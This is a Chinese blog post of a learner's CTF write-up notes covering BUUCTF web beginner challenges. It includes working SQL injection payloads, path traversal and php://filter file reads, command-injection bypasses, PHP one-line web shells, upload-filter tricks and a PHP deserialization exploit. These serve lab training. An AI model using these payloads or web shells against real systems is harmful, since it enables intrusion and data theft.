BUUCTF WEB入门题小记

[极客大挑战 2019]EasySQL

使用 1' or '1' = '1' #绕过sql

注意sql中的等于是=,不等于是<>或!=

[极客大挑战 2019]Havefun

在源代码中的注释中找到提示

用$cat=dog获得flag

[HCTF 2018]WarmUp

在源代码中的注释找到提示

进入source.php,审计代码后

用file=hint.php?../../../../ffflllaaaggg获得flag

[ACTF2020 新生赛]Include

"php://" 伪协议的条件:

  • allow_url_fopen:off/on。
  • allow_url_include:off/on(php://input、php://stdin、php://memory、php://temp 伪协议需要 on)。

这里着重介绍以下 "php://" 伪协议中的 "php://filter"伪协议。

php://filter 是 PHP 中的一种特殊的伪协议,它允许对数据进行过滤处理。它可以通过输入流或输出流来操作数据,常用于对文件、数据流等进行编码、解码、压缩等处理。

主要用途:

对文件内容进行转换,如 base64 编码、ROT13 加密、字符串大小写转换等。
对 HTTP 请求的输入或输出流进行过滤。
基本的语法:

  • php://filter/read=<过滤器列表>/resource=<操作目标>

之类的东西,然后就可以将php当作文本打开并输出,并从其中的注释获得flag

/?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php

比如这样↑

[GXYCTF2019]Ping Ping Ping

空格绕过的几种方式:< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等。

反引号``会被优先执行,并被重新加载到指令里继续执行

如果用ls需要到f12里找flag

[SUCTF 2019]EasySQL

没有过滤;

配合show databases和show tables堆叠注入可以泄露信息

可以用字典+bp看哪些关键字被过滤

看别人wp发现使用*,1或者修改一个mode可以获得flag

1;set sql_mode=PIPES_AS_CONCAT;select 1

就是把 || 设置成了 concat函数

后端代码$sql = "select ".$post['query']."||flag from Flag";

上面那句执行是:

select concat(1,flag) from Flag

[极客大挑战 2019]LoveSQL

1' union select 1,schema_name FROM information_schema.schemata #

通过特殊表information_schema(储存有关数据库信息的表)查询更多信息

相关连接:https://www.cnblogs.com/Chary/p/17940824

database() schema() current_schema() 返回当前的数据库名字

构造联合注入获得flag

1' union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database();# 
# group_concat()可以将查询到的所有字段名连接在一块
1' union select 1,group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#
# 最后查询表内数据
1' union select 1,2,group_concat(username,'~',password) from l0ve1ysq1

[极客大挑战 2019]Secret File

用bp抓包,一路跟到secret

secret里面有个file读,并提示flag在flag.php里

用php://filter/convert.iconv.utf8.utf16/resource=flag.php获得flag

[强网杯 2019]随便注

1, union selec/**/t schema_name from information.schemata#

发现.被过滤,但是没有过滤;

用堆叠注入

1';show tables;#

1';show columns from 1919810931114514;#

注意这里是反引号而不是单引号,因为其中内容是数字而非字符串

1' and extractvalue(0x0a,concat(0x0a,(database())))

extractvalue是mysql的处理函数,作用是从xml字符串中提取符合XPath的值

在这里我们传入错误的xml字符串,mysql就会报错把database全部返回给我们(有详细错误输出的情况下)

发现不是mysql,是supersqli

1';SET @a=concat("sel","ect flag from 1919810931114514");PREPARE hello from @a;execute hello;#

利用set @a加上concat字符拼接的形式,成功绕过并输出flag

或者用rename重命名也可以

';alter table words rename to words1;alter table 1919810931114514 rename to words;alter table words change flag id varchar(50);#

[极客大挑战 2019]Http

dirsearch扫了个login出来,没什么用

<a style="border:none;cursor:default;" onclick="return false" href="Secret.php">氛围</a>

在这里有一个神秘php,onclick永远false,且cursor为default,光标不会变手,且border为none没有边框

所以就是被藏起来的东西,点进去以后根据要求

逐步修改X-Forward-For、user-agent和referer,然后即可获得flag

[极客大挑战 2019]Upload

用phtml绕过后缀名php检测

用GIFa89?绕过magic检测

还要修改type,然后就过了

<script language='php'>
eval($_GET["cmd"]);
</script>

[极客大挑战 2019]Knife

一句话,没了

[ACTF2020 新生赛]Upload

phtml,没了

[极客大挑战 2019]BabySQL

SQL巩固

注意两个注释后面都要加空格

快速默写一下

1' union select 1,2,group_cat(schema_name) from information_schema.schemata --

1' union select 1,2,group_cat(table_name) from information_schema.tables where table_schema = database()

1' union select 1,2,group_cat(column_name) from information_schema.columns where table_schema = database() and table_name = "xxx" --

union和select被数删了,双写绕过即可

(实际上里面插or就行了,这样短一些)

[极客大挑战 2019]PHP

dirsearch -x 429即可排除429正常扫描

哦不还是用dirmap吧,新版dirsearch貌似硬编码禁止429

然后分析flag.php和index.php,构造出满足条件的就可以了

<?php
class Name{
    private $username = "admin";
    private $password = 100;
}
$a = new Name;
echo urlencode(serialize($a)) . "\n";
echo serialize($a);
?>
#O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

这里利用了一个Obj数不相等就会跳过wakeup的漏洞(CVE-2016-7124

发生版本php5<5.6.25 php7<7.0.10

name后面那个改成3即可

[ACTF2020 新生赛] BackupFile

用dirmap扫,dirsearch一片绿,还要自己翻

dirmap第一遍没扫出来,第二遍扫出来了

查看bak,弱类型比较,输入?key=123结束

[RoarCTF 2019]Easy Calc

进入calc.php,获得源码

然后不会,说?num这里问号后面加空格就绕waf了

???

总之绕了,虽然有些过滤但是chr.chr拼一下结束了

file_get_contents读文件

var_dump打印对象键值对

chr().chr()用数字拼字符

[极客大挑战 2019]BuyFlag

可恶啊bp以为加了内容就是post了,结果请求头get忘改害我排查了好久

"404a"=404

cookie里面改成1(诡异的考点)

money进行了长度过滤,不能直接输入

1e9或者money[]=1000000000都可以,前者长度够短,后者能通过长度过滤,比较中再转化为字符串比较,简单通过

[BJDCTF2020]Easy MD5

第一关,只要碰撞出一个开头为1'or'加上一个非0数字即可

第二关,只要碰撞出两个0e开头的md5即可

AI直接给了我一个然后做完了?a=QNKCDZO&b=240610708

第三关,传两个数组结束

[HCTF 2018]admin

源码404了怎么写?

但是提供了两个思路,第一个是能拿到源码,能拿到secret key,就可以伪造sessions

第二个思路是unicode字符转码,用ᴬ -> A -> a,导致admin被覆盖

[MRCTF2020]你传你🐎呢

修改content-type就可以上传

传.htaccess将jpg视作php

AddType application/x-httpd-php .jpg

# 或者

<FilesMatch "lx1">
SetHandler application/x-httpd-php
</FilesMatch>

如果禁用图片可以用xdm绕过,刚好文件头是两个#被当成注释

一句话禁了system,用scandir和var_dump和file_get_contents输出flag即可

[护网杯 2018]easy_tornado

tornado render漏洞

error message输入{{20}}发现大括号没了

虽然乘法被过滤了,但是{{handler.settings}}泄露secret cookie随后用hints的办法+hash成功秒杀

[ZJCTF 2019]NiZhuanSiWei

简单反序列化

可以用伪协议假装输入是来自文件,用?text=data://text/plain,welcome to the zjctf

exp:

<?php  
class Flag{  //flag.php  
    public $file;  
}  

$a = new Flag();
$a->file = "/flag.php";
echo serialize($a);
//O:4:"Flag":1:{s:4:"file";s:9:"/flag.php";}

[MRCTF2020]Ez_bypass

简单bypass,依旧是传两个数组加弱比较

[极客大挑战 2019]HardSQL

报错注入:1'or(extractvalue(0x0a,concat(0x0a,(database()))))#

()也可以用来当空格用

1'or(extractvalue(0x0a,concat(0x0a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))#

1'or(extractvalue(0x0a,concat(0x0a,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())))))#

1'or(extractvalue(0x0a,concat(0x0a,(select(group_concat(id,username,password))from(H4rDsq1)))))#

1'or(extractvalue(0x0a,concat(0x0a,(select(group_concat(right(password,25)))from(H4rDsq1)))))#

前两个分别是爆表名和列名,后两个是把flag读出来,因为这个函数报错长度有限制要拆成两部分

H4rDsq1

flag{1ef882da-6f02-4bd3-84
2-4bd3-8406-529a271a3eb3}

flag{1ef882da-6f02-4bd3-8406-529a271a3eb3}

[网鼎杯 2020 青龙组]AreUSerialz

简单类型判断绕过get flag

写那么长还以为有多难呢

[GXYCTF2019]BabyUpload

考点开始重复了喵,简单upload即可

<script language='php'>@eval($_GET['a'])</script>即可

[SUCTF 2019]CheckIn

不能.htaccess那就.user.ini

GIF89a
auto_prepend_file=1.jpg

然后1.jpg传马,访问那个目录下的index.php即可

[GXYCTF2019]BabySQli

union select的时候如果传入伪造的数据

会把伪造的数据也列入查询结果

伪造union select 1,'admin',md5('123')然后password=123就可以了

那个union确实能想出来,但是md5就有点奇怪了,看别人wp才知道,不过也算常见就是了\\

[GYCTF2020]Blacklist

堆叠注入,学习一下低级方式handler的用法

1';handler FlagHere open;handler FlagHere read next; handler FlagHere close; #

[RoarCTF 2019]Easy Java

抄一下别人博客里的东西

说起来能不能用dirmap(试了好像不能

src/main/java: 这个目录一般是存放web项目的Java源文件的
src/main/resource: 这个目录一般是存放相关的配置文件
src/main/webapp: 这个目录一般是和web应用相关的
webapp下的文件目录是容易出现安全问题的
/WEB-INF/web.xml: Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则
/WEB-INF/classes/:含了站点所有用的 class 文件(即编译后的Java文件),包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件

发现有个help.docx,但是无法下载,改成post以后能下了

然后下web.xml,里面有个flagcontroller,再跟着下就把flag下出来了

不知道为什么,浏览器不准我下,于是用burp直接看返回包,获得flag

至此buuctf web第一页结束!大概思路精简如上,啪唧啪唧啪唧

(虽然好多时候都在看别人的blog,但也算,稍微,稍微入了一点点门吧?比如说xss什么都还没写到.jpg)

(但是我还没有配自己的服务器,看来还要加吧劲了.jpg)

(因为内核学太累了所以摸两天,呜呜小花不要骂我)

posted @ 2025-05-13 23:05  imiab  阅读(195)  评论(0)    收藏  举报